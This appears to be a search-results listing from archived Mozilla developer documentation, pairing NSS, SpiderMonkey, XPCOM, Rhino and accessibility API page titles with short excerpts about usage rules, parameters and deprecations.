furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.19.2.4 release notes
furthermore, applications that restrict the use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.20.2 release notes
furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.21.2 release notes
furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.21.3 release notes
furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.21.4 release notes
furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.22.1 release notes
furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.22.3 release notes
furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.28.4 release notes
furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.29.3 release notes
furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.29.5 release notes
furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.30.1 release notes
furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.36.5 release notes
furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.36.7 release notes
furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.36.8 release notes
furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.44.4 release notes
furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.51.1 release notes
furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.52.1 release notes
furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.53.1 release notes
furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS Sample Code sample3
or(i = 0;i < len;i++) printf("%02x ", digest[i]); cout << endl; } /* * main */ int main(int argc, const char *argv[]) { int status = 0; pk11slotinfo *slot = 0; pk11symkey *key = 0; pk11context *context = 0; unsigned char data[80]; unsigned char digest[20]; /*is there a way to tell how large the output is?*/ unsigned int len; secstatus s; /* initialize nss * if your application code has already initialized nss, you can skip it * here.
FC_CopyObject
phnewobject [out] pointer to location to receive the new object's handle.
FC_DecryptInit
a user must log into the token (to assume the nss user role) before calling fc_decryptinit.
FC_DigestInit
a user may call fc_digestinit without logging into the token (to assume the nss user role).
FC_EncryptInit
a user must log into the token (to assume the nss user role) before calling fc_encryptinit.
FC_Finalize
name fc_finalize - indicate that an application is done with the pkcs #11 library.
FC_FindObjectsInit
if fc_findobjectsinit is successful fc_findobjects may be called one or more times to retrieve handles of matching objects.
FC_GetFunctionList
a user may call fc_getfunctionlist without logging into the token (to assume the nss user role).
FC_GetInfo
a user may call fc_getinfo without logging into the token (to assume the nss user role).
FC_GetMechanismInfo
a user may call fc_getmechanisminfo without logging into the token (to assume the nss user role).
FC_GetMechanismList
a user may call fc_getmechanismlist without logging into the token (to assume the nss user role).
FC_GetObjectSize
pussize [out] pointer to location to receive the object's size.
FC_GetOperationState
therefore, a user may call fc_getoperationstate without logging into the token (to assume the nss user role).
FC_GetSessionInfo
a user may call fc_getsessioninfo without logging into the token (to assume the nss user role).
FC_GetSlotInfo
a user may call fc_getslotinfo without logging into the token (to assume the nss user role).
FC_GetSlotList
a user may call fc_getslotlist without logging into the token (to assume the nss user role).
FC_InitPIN
fc_initpin() must be called when the pkcs #11 security officer (so) is logged into the token and the session is read/write, that is, the session must be in the "r/w so functions" state (cks_rw_so_functions).
FC_SeedRandom
a user may call fc_seedrandom() without logging into the token (to assume the nss user role).
FC_SetPIN
the user must log into the token (to assume the nss user role) before calling fc_setpin.
FC_SignInit
a user must log into the token (to assume the nss user role) before calling fc_signinit.
FC_Verify
a user must log into the token (to assume the nss user role) before calling fc_verify.
Necko FAQ
any resemblance in flavor to the necco candy is purely coincidental.
Rhino and BSF
using bsf with rhino now that the apache jakarta bean scripting framework (bsf), version 2.4.0, has been officially released, you can use rhino easily with bsf.
Running the Rhino tests
test results can be viewed in html format in file build/test/report/index.html.
Download Rhino
source in addition to getting the source from the zip files above, the source code for rhino can be found in github at https://github.com/mozilla/rhino.
New in Rhino 1.7R4
update license to mpl 2.0 make string concatenation with + fast java class generation updates and fixes faster number to string conversion several regexp fixes regexp performance improvements es5 compliance fixes improved interpreter performance improved commonjs module implementation javascript 1.8 generator expressions many parser and ast fixes use javascript 1.7 as default version in rhino shell javaadapter improvements fixes in js to java access include mozilla test suite a list of bugs that were fixed since the previous release.
Rhino
it is typically embedded into java applications to provide scripting to end users.
BOOLEAN_TO_JSVAL
cast a c integer to a boolean js::value without any type checking or error handling.
DOUBLE_TO_JSVAL
casts a pointer to a gc-allocated jsdouble to type jsval.
JS::CompileFunction
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS::CreateError
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS::CurrentGlobalOrNull
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS::GetDeflatedUTF8StringLength
syntax size_t getdeflatedutf8stringlength(jsflatstring* s); name type description s jsflatstring * the pointer to the string to calculate the length.
JS::GetSelfHostedFunction
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS::PropertySpecNameToPermanentId
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS::ProtoKeyToId
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS::Remove*Root
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS::ToBoolean
it implements the toboolean operation described in ecma 262 §7.1.2.this function can not fail and the return value is always the boolean conversion of the argument.
JS::ToInt32
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS::ToInt64
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS::ToNumber
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS::ToPrimitive
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS::ToUint16
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS::ToUint32
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS::ToUint64
in a js_threadsafe build, the caller must be in a request on this jscontext.
JSExnType
they define which error to throw in case of a runtime error.
JSFreeOp
see also mxr id search for jsfreeop js_freeop js_getdefaultfreeop jsfinalizecallback jsdestroycompartmentcallback bug 737365 ...
JSID_IS_STRING
in a js_threadsafe build, the caller must be in a request on this jscontext.
JSIdArray
use js_idarraylength and js_idarrayget to access the property, and js_destroyidarray to free, or use js::autoidarray as a local variable.
JSObjectOps.defineProperty
the jsobjectops.defineproperty callback is called whenever an object property is defined.
JSObjectOps.destroyObjectMap
the jsobjectops.destroyobjectmap callback is called to destroy a jsobjectmap when its reference count goes to zero.
JSVAL_IS_OBJECT
this indicates that it is safe to call jsval_to_object(v) to convert v to type jsobject *.
JSVAL_TRUE
take care not to confuse the jsval constants jsval_true and jsval_false with the bool constants true and false.
JSXDRObjectOp
jsclass hooks jsclass offers the following hook: jsxdr calls the jsclass.xdrobject callback to serialize and deserialize objects.
JS_BufferIsCompilableUnit
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_ClearNonGlobalObject
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_ClearRegExpStatics
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_ClearScope
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_CompileFileHandleForPrincipals
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_CompileFileHandleForPrincipalsVersion
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_CompileUCFunctionForPrincipalsVersion
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_DecompileScriptObject
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_DeepFreezeObject
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_DefineOwnProperty
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_DoubleIsInt32
(comment from mozilla::numberequalsint32) casting a floating-point value that doesn't truncate to int32_t, to int32_t, induces undefined behavior.
JS_DropExceptionState
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_ErrorFromException
other contexts in the same runtime can have their own error reporting functions.
JS_EvaluateScriptForPrincipals
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_ExecuteRegExp
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_ExecuteScriptPart
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_GetClass
the application must treat the jsclass as read-only.
JS_GetClassObject
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_GetClassPrototype
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_GetConstructor
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_GetEmptyStringValue
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_GetErrorPrototype
other contexts in the same runtime can have their own error reporting functions.
JS_GetFunctionName
the return value is either the name of a function, or the string "anonymous", which indicates that the function was not assigned a name when created.
JS_GetFunctionScript
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_GetGlobalForCompartmentOrNull
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_GetGlobalForObject3
this page was auto-generated because a user created a sub-page to this page.
JS_GetGlobalForScopeChain
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_GetNaNValue
nan is typically used in javascript as the return value of a numeric operation when an argument is invalid or conversion fails.
JS_GetOptions
this function returns a uint32 value that is the logical or of zero or more of the jsoption flags described in js_setoptions.
JS_GetOwnPropertyDescriptor
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_GetPropertyDefault
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_GetPropertyDescriptor
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_GetPrototype
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_GetStringCharAt
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_GetStringChars
(eventually, str becomes unreachable, the garbage collector collects it, and the array is freed by the system.) js_getstringcharsz is the same except that it always returns either a null-terminated string or null, indicating out-of-memory.
JS_GetStringCharsAndLength
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_GetStringLength
because some unicode characters are represented using two 16-bit code units, the result is not necessarily the same as the number of unicode characters in the string.
JS_HasInstance
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_IdToProtoKey
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_IdToValue
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_InternJSString
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_IsArrayObject
on success, returns true and sets isarray indicating whether obj is an array object or a wrapper around one.
JS_IsAssigning
syntax jsbool js_isassigning(jscontext *cx); name type description description js_isassigning returns true if a script is executing and its current bytecode is a set (assignment) operation, even if there are native (no script) stack frames between the script and the caller to js_isassigning.
JS_IsBuiltinFunctionConstructor
description js::iscallable returns whether the given function is the global function constructor.
JS_IsExtensible
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_IsExternalString
this article covers features introduced in spidermonkey 17 determines whether or not the specified jsstring is an external string (that is, a string created by calling js_newexternalstring rather than js_newexternalstringwithclosure).
JS_IsIdentifier
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_IsRunning
indicates whether or not a script or function is currently executing in a given context.
JS_LinkConstructorAndPrototype
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_Lock
description js_lock is a deprecated api; don't use it.
JS_LooselyEqual
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_NewDateObject
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_NewPlainObject
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_NumberValue
the result is an integer js::value if d can be stored that way.
JS_ObjectIsFunction
note that the result may be false even for some callable objects, such as regular expression objects or proxy objects see also mxr id search for js_objectisfunction js_valuetofunction js_objectisfunction ...
JS_PSGS
description these macros encapsulate the definition of jsnative-backed jspropertyspecs, by defining the jsnativewrappers for them.
JS_ParseJSON
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_Remove*Root
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_SameValue
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_ScheduleGC
at every allocation nextscheduled is decremented.
JS_SetAllNonReservedSlotsToUndefined
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_SetElement
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_SetPendingException
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_SetRegExpInput
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_StrictlyEqual
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_StringEqualsAscii
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_StringHasLatin1Chars
clients can use js_stringhaslatin1chars and can then call either the latin1* or twobyte* functions.
JS_ToggleOptions
this is the logical or of zero or more flags described at js_setoptions.
JS_TypeOfValue
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_Unlock
description js_unlock is a deprecated api; don't use it.
JS_ValueToBoolean
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_ValueToSource
in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_updateMallocCounter
maxmallocbytes is initialized with maxbytes parameter of js_newruntime, and could be configured later by calling js_getgcparameter with jsgc_max_malloc_bytes.
jsid
also, there is an additional jsid value, jsid_void, which does not occur in js scripts but may be used to indicate the absence of a valid jsid.
jsint
see also bug 714728 - removes jsword/jsuword bug 730511 - removes intn/uintn bug 732306 - removes jsint bug 733260 - removes jsuint bug 708735 - deprecates {u,}int{8,16,32,64} ...
SpiderMonkey 52
you can download full source code from treeherder, by going to the mozilla-esr52 repository and clicking on the first sm(pkg) link you see.
SpiderMonkey releases
we have periodically created "releases", but they are best-effort and incomplete.
TPS Formdata Lists
for example: var formdata1 = [ { fieldname: "testing", value: "success", date: -1 }, { fieldname: "testing", value: "failure", date: -2 }, { fieldname: "username", value: "joe" } ]; formdata lists and phase actions you can use the following functions in phase actions for formdata lists: formdata.add formdata.delete formdata.verify formdata.verifynot for an example, see the tps formdata unittest: http://hg.mozilla.org/services/tps/f...st_formdata.js notes note 1, tps supports the delete action for formdata, but sync currently does not correctly sync deleted form data, see bug 564296.
TPS History Lists
object with a host property to delete all history in a certain time period, use an object with begin and end properties, which should have integer values that express time since the present in hours (see date above) for example: var history_to_delete = [ { uri: "http://www.cnn.com/" }, { begin: -24, end: -1 }, { host: "www.google.com" } ]; history lists and phase actions history lists cannot be modified, they can only be added, deleted, and verified, using the following functions: history.add history.delete history.verify history.verifynot ...
Zest implementation
future versions of zest are planned which will significantly increase the scope of the language.
Zest tools
it is being developed alongside zest and can be expected to showcase the latest zest features.
ROLE_MENUITEM
« gecko roles page represents a menu item, which is an entry in a menu that a user can choose to carry out a command, select an option.
ROLE_OUTLINEITEM
interfaces nsiaccessibletreecache nsiaccessible nsiaccessibleselectable nsiaccessnode mapped to at-spi: role_list_item atk: atk_role_list_item ua: nsaccessibilityrowrole (use outlinerow as subrole) msaa/ia2: role_system_outlineitem used by aria: treeitem html: ??
Gecko
this page was auto-generated because a user created a sub-page to this page.
Viewing and searching Mozilla source code online
uxp source code can be found at the pale moon repository.
Components.ID
the exception to this is the case where a component is written in javascript and needs to register itself with the component manager using its own nsid - an id that is not already registered and thus does not appear in components.classes.
Components.manager
the scriptable methods on the nsicomponentmanager interface can be called directly on this object.
Components.utils.isXrayWrapper
when privileged javascript in gecko accesses objects belonging to less-privileged code (such as untrusted web content), it does so, by default, with "xray vision": a mechanism that filters out certain changes to the objects that could cause them to behave in unexpected ways.
RbXPCOM
you can find additional information using the resource links below.
Architecture basics
you can imagine it like a bridge between javascript code, and mozilla guts.
NS_Free
it is equivalent to calling free on the nsimemory instance returned from ns_getmemorymanager.
NS_GetComponentManager
remarks the object returned is a singleton that is valid until ns_shutdownxpcom is called.
NS_GetComponentRegistrar
remarks the object returned is a singleton that is valid until ns_shutdownxpcom is called.
NS_GetMemoryManager
remarks the object returned is a singleton that is valid until ns_shutdownxpcom is called.
NS_GetServiceManager
remarks the object returned is a singleton that is valid until ns_shutdownxpcom is called.
NS_PRECONDITION
should be used to test conditions that the caller of a method ought to ensure.
EndReading
the ns_cstringgetdata function can be used to determine if a nsacstring instance has null-terminated storage.
EndReading
the ns_cstringgetdata function can be used to determine if a nsastring instance has null-terminated storage.
nsAutoRef
nsautoref<t> is a template class implementing an object that holds a handle to a resource that must be released, typically on destruction of the object.
nsCOMPtr
to use this class, you must link your component or application against the xpcom glue library.
nsCountedRef
nscountedref<t> is a template class implementing an object that takes a strong reference to a reference-counted resource that must be released, typically on destruction of the object.
nsEmbedCString
« xpcom api reference summary the nsembedcstring concrete class provides a way to construct a nsacstring object that allocates null-terminated storage.
nsEmbedString
« xpcom api reference summary the nsembedstring concrete class provides a way to construct a nsastring object that allocates null-terminated storage.
HeapMinimize
static nsresult heapminimize( prbool aimmediate ); parameters aimmediate [in] if true, heap minimization will occur immediately if the call was made on the main thread.
IJSDebugger
the only time you should directly use this interface to create the debugger object is if you need to debug chrome; due to bug 707237, the javascript code module doesn't work in that case.
amIWebInstallInfo
toolkit/mozapps/extensions/amiwebinstalllistener.idlscriptable this interface is used by the default implementation of amiwebinstalllistener to communicate with the running application and allow it to warn the user about blocked installs and start the installs running.
amIWebInstallPrompt
toolkit/mozapps/extensions/amiwebinstalllistener.idlscriptable called when installation by websites is currently disabled.
mozIPersonalDictionary
; void getcorrection(in wstring word, [array, size_is(count)] out wstring words, out pruint32 count); void ignoreword(in wstring word); void load(); void removecorrection(in wstring word,in wstring correction, in wstring lang); void removeword(in wstring word, in wstring lang); void save(); attributes attribute type description wordlist nsistringenumerator get the (lexicographically sorted) list of words.
mozIPlaceInfo
placeid long read only: the machine-local (internal) id of the place.
mozIStorageStatementRow
for example, say you create a statement like so: var statement = dbconn.createstatement("select id, name from table_name"); the object would have two properties, id and name, that can be used to get the value of the column after you have called mozistoragestatement.executestep() like so: while (statement.executestep()) { let id = statement.row.id; let name = statement.row.name; } see also storage mozistoragestatement ...
mozIVisitInfo
visitid long read only: the machine-local (internal) id of the visit.
Children
exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
DefaultKeyBinding
« nsiaccessible page summary provides localized string of global keyboard accelerator for default action, such as ctrl+o for open file (ctrl + o).
FirstChild
attribute nsiaccessible firstchild; exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
GetAccessibleRelated
exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.ns_error_not_implemented indicates that the given relation type is unsupported see also nsiaccessible.getrelations() nsiaccessible.relationscount nsiaccessible.getrelation() ...
GetActionName
exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.ns_error_invalid_arg indicates that the given index is our of range.
GetChildAt
exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
GetRelation
exception thrown ns_error_invalid_arg indicates that the given index is invalid.
GetState
exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
GroupPosition
refer to accessible web specifications to get an idea what elements expose group information.
KeyboardShortcut
« nsiaccessible page summary provides localized string of accesskey name, such as alt+d (alt + d).
LastChild
attribute nsiaccessible lastchild; exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
NextSibling
attribute nsiaccessible nextsibling; exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
PreviousSibling
attribute nsiaccessible previoussibling; exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
Role
the values depend on platform because of variations.
SetSelected
void setselected( in boolean aisselected ); parameters aisselected[out] the current selection exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
TakeSelection
void takeselection(); exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
Value
widgets that use role attribute can force a value using the valuenow attribute.
nsIAccessibleCoordinateType
accessible/public/nsiaccessibletypes.idlscriptable these constants define which coordinate system a point is located in.
DeleteText
documentation is now located at nsiaccessibleeditabletext.deletetext().
nsIAccessibleTableCell
return value a boolean value indicating whether this cell is selected.
nsIAppStartup_MOZILLA_2_0
toolkit/components/startup/public/nsiappstartup.idlscriptable this lets you get information about the times at which key application startup events occurred.
nsIAutoCompleteItem
value astring the result value using astring to avoid excess allocations.
nsIBlocklistPrompt
these are javascript objects with properties: name - the plugin or extension name version - the version of the extension or plugin icon - the plugin or extension icon disable - can be used by the nsiblocklistprompt to allows users to decide whether a soft-blocked add-on should be disabled blocked - true if the item is hard-blocked, false otherwise item - the nsiplugintag or addon object acount optional the number of addons.
nsICRLManager
return value importcrl() import a crl into the certificate database.
nsIConsoleListener
inherits from: nsisupports last changed in gecko 1.7 method overview void observe(in nsiconsolemessage amessage); methods observe() called by the nsiconsoleservice when a message is posted to the console.
nsIConsoleMessage
inherits from: nsisupports last changed in gecko 1.7 implementations may provide an object that can be query interfaced, nsisupports.queryinterface(), to provide more specific message information.
nsIContentPref
see also nsicontentprefservice2 nsicontentprefcallback2 ...
nsIControllers
xul elements can also have controllers, although they do not have any default controllers.
nsICookie2
"accessed" means creation, modification, or reading by the server.
nsICookieConsent
policy the policy for the given uri, or nsicookie::policy_unknown if one cannot be found.
nsIDOMEventGroup
see also document object model (dom) level 3 events specification ...
nsIDOMFileList
gecko 1.9.2 note starting in gecko 1.9.2, this is also used by the datatransfer object to support dragging and dropping files into web applications.
nsIDOMFileReader
examples os.file for the main thread - example - save canvas to disk see also file api specification working draft nsidomfile nsidomfilelist nsidomfileexception ...
nsIDOMHTMLTimeRanges
each time range represented by an nsidomhtmltimeranges object has an index number; you call the start() and end() methods to obtain the start and end times of each range, specifying the index number of the range to look up.
nsIDOMSerializer
an instance of this interface can be used to serialize a dom document or any dom subtree.
nsIDOMXPathException
see also introduction to using xpath in javascript document object model (dom) level 3 xpath specification nsidomxpathevaluator document.evaluate nsidomxpathresult ...
nsIDOMXPathExpression
see also introduction to using xpath in javascript nsidomxpathevaluator document.evaluate document object model (dom) level 3 xpath specification nsidomxpathresult ...
nsIDOMXULControlElement
66 introduced gecko 1.0 inherits from: nsidomxulelement last changed in gecko 1.0 attributes attribute type description disabled boolean indicates whether the element is disabled or not.
nsIDOMXULElement
click() unless the element is disabled, sends mouse events that simulate the effect of clicking the mouse on the element, then calls the docommand() method.
nsIDebug2
this is normally zero in release builds, but does include calls to nsidebug.assertion().
nsIDeviceMotionData
the values of x, y, and z can range from -1 to 1, where 0 means the device is balanced on that axis.
nsIDownloadObserver
inherits from: nsisupports last changed in gecko 1.7 method overview void ondownloadcomplete(in nsidownloader downloader, in nsirequest request, in nsisupports ctxt, in nsresult status, in nsifile result); methods ondownloadcomplete() called to signal a download that has completed.
nsIEditorDocShell
methods makeeditable() make this docshell editable, setting a flag that causes an editor to get created, either immediately, or after a url has been loaded.
nsIEditorMailSupport
inserttextwithquotations() inserts a plain text string at the current location, with special processing for lines beginning with ">", which will be treated as mail quotes and inserted as plain text quoted blocks.
nsIExternalURLHandlerService
uriloader/exthandler/nsiexternalurlhandlerservice.idlscriptable the external url handler service is used for finding platform-specific applications for handling particular urls.
nsIFTPChannel
you can determine if a channel is an ftp channel by checking to see if it implements this interface, by calling nsisupports.queryinterface() on it.
nsIFTPEventSink
it can be used as a notification callback on an ftp channel.
nsIFeedGenerator
version astring a string indicating the version of the generator software that created the feed.
nsIFeedTextConstruct
to display that character, an escape such as "&lt;" must be used.
nsIFileSpec
use nsifile and nsilocalfile instead.
nsIGlobalHistory
66 introduced gecko 1.0 deprecated gecko 2.0 obsolete gecko 15.0 inherits from: nsisupports last changed in gecko 1.7 method overview void addpage(in string aurl); boolean isvisited(in string aurl); methods addpage() add a page to the history.
nsIHapticFeedback
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/widget/hapticfeedback;1 as a service: var hapticfeedback = components.classes["@mozilla.org/widget/hapticfeedback;1"] .getservice(components.interfaces.nsihapticfeedback); once you have the service, you can initiate haptic feedback (that is, cause the device to vibrate, if it's supported) by calling performsimpleaction(): hapticfeedback.performsimpleaction(components.interfaces.nsihapticfeedback.longpress); method overview void performsimpleaction(in long islongpress); constants press length constants constant value description shortpress 0 specif...
nsILoginManagerIEMigrationHelper
note: in some cases, multiple logins may be created from a single input when the format is ambiguous.
nsIMsgAccount
exceptions thrown ns_error_already_opened if it is called more then once removeidentity() removes an identity from this account.
nsIMsgSearchCustomTerm
this should be localized.
nsINavHistoryFullVisitResultNode
transitiontype long indicates the type of transition for the visit.
nsINavHistoryVisitResultNode
it describes a visit to an entry; you can use it to determine the date and time of the last time the user visited a particular page, for example.
nsINetworkLinkService
the link is only up when network connections can be established.
nsIProcess2
ents.classes["@mozilla.org/process/util;1"] .createinstance(components.interfaces.nsiprocess2); method overview void runasync([array, size_is(count)] in string args, in unsigned long count, [optional] in nsiobserver observer, [optional] in boolean holdweak); methods runasync() asynchronously runs the process with which the object was initialized, optionally calling an observer when the process finishes running.
nsIProfileUnlocker
profile/public/nsiprofileunlocker.idlscriptable returned by the nsitoolkitprofile.lock method; you can use this to attempt to force a profile to be unlocked.
nsIProperties
nsmemory.h defines the macro ns_free_xpcom_allocated_pointer_array, which can be used to free akeys when it is no longer needed.
nsIRunnable
nsirunnable is generated from nsirunnable.idl here is the prototype of nsirunnable.idl /** * represents a task which can be dispatched to a thread for execution.
nsISOCKSSocketInfo
internalproxyaddr prnetaddrptr the internal (local) proxy address.
nsIScreenManager
this pointer's definition is specific to the platform's native widget implementation, and is typically of the same type as ns_native_window.
nsISessionStartup
defer_session 3 the previous session is viable but shouldn't be restored without explicit action (with the exception of app tabs, which are always restored in this case).
getNext
documentation is now located at nsisimpleenumerator.getnext().
hasMoreElements
documentation is now located at nsisimpleenumerator.hasmoreelements().
nsIStringBundleOverride
instead, the string bundle service will automatically try to load this service.
AddRef
documentation is now located at nsisupports.addref().
Release
documentation is now located at nsisupports.release().
type
information is now located at: nsisupportsprimitive.constants ...
data
documentation is now located at nsisupportsvoid.data().
toString
documentation is now located at nsisupportsvoid.tostring().
nsITXTToHTMLConv
method overview void preformathtml(in boolean value); void settitle(in wstring text); prior versions of the interface named the methods using the initialcaps style instead of the intercaps style.
nsIToolkit
null can be passed in, in which case a new thread gets created and a message pump will run in that thread.
nsITreeColumns
invalidatecolumns() this method is called whenever a treecol is added or removed and the column cache needs to be rebuilt.
nsITreeContentView
it is typically reached by calling queryinterface on a nsitreeview.
nsIUploadChannel2
acontentlength a value of -1 indicates that the length of the stream should be determined by calling the stream's available method.
nsIUserCertPicker
inherits from: nsisupports last changed in gecko 1.7 method overview nsix509cert pickbyusage(in nsiinterfacerequestor ctx, in wstring selectednickname, in long certusage, in boolean allowinvalid, in boolean allowduplicatenicknames, out boolean canceled); methods pickbyusage() nsix509cert pickbyusage( in nsiinterfacerequestor ctx, in wstring selectednickname, in long certusage, in boolean allowinvalid, in boolean allowduplicatenicknames, out boolean canceled ); parameters ctx selectednickname certusage allowinvalid allowduplicatenicknames canceled return value ...
nsIWebBrowserChrome3
isapptab whether or not the link is in an application tab.
nsIWebBrowserChromeFocus
it represents the focus up-calls from mozilla to the embedding chrome.
nsIWorkerFactory
instead, you can just do new worker or new chromeworker.
nsIWorkerGlobalScope
1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) attributes attribute type description location nsiworkerlocation read only.
nsIZipEntry
the possible values and their meanings are defined in the zip file specification at zip application note support.
nsMsgSearchTerm
%{c++ #define is_string_attribute(_a) \ (!(_a == nsmsgsearchattrib::priority || _a == nsmsgsearchattrib::date || \ _a == nsmsgsearchattrib::msgstatus || _a == nsmsgsearchattrib::messagekey || \ _a == nsmsgsearchattrib::size || _a == nsmsgsearchattrib::ageindays || \ _a == nsmsgsearchattrib::folderinfo || _a == nsmsgsearchattrib::location || \ _a == nsmsgsearchattrib::label || _a == nsmsgsearchattrib::junkstatus || \ _a == nsmsgsearchattrib::folderflag || _a == nsmsgsearchattrib::uint32hdrproperty || \ _a == nsmsgsearchattrib::junkpercent || _a == nsmsgsearchattrib::hasattachmentstatus)) %} ...
NS_ENSURE_ARG_POINTER
summary macro returns ns_error_invalid_pointer if the macro argument evaluates to false and shows a warning (ns_warning) in this case.
NS ENSURE SUCCESS
summary macro returns return-value if ns_failed(nsresult) evaluates to true, and shows a warning on stderr in that case.
NS_ERROR
this macro is meant for critical errors; like assertions, ns_errors should not be reachable.
NS_RELEASE
do not use when the pointer might be null; use ns_if_release in those cases.
NS_WARNING
contrary to ns_error this is meant for noncritical errors.
XPCOM primitive
the main use case is to store primitive values in a data structure that can only store xpcom objects, such as nsiarray.
NS_CStringContainerFinish
« xpcom api reference summary the ns_cstringcontainerfinish function releases any memory allocated by a nscstringcontainer instance.
NS_CStringToUTF16
see nscstringencoding for the set of values that can be passed for this parameter.
NS_StringContainerFinish
« xpcom api reference summary the ns_stringcontainerfinish function releases any memory allocated by a nsstringcontainer instance.
NS_UTF16ToCString
see nscstringencoding for the set of values that can be passed for this parameter.
nsMsgNavigationType
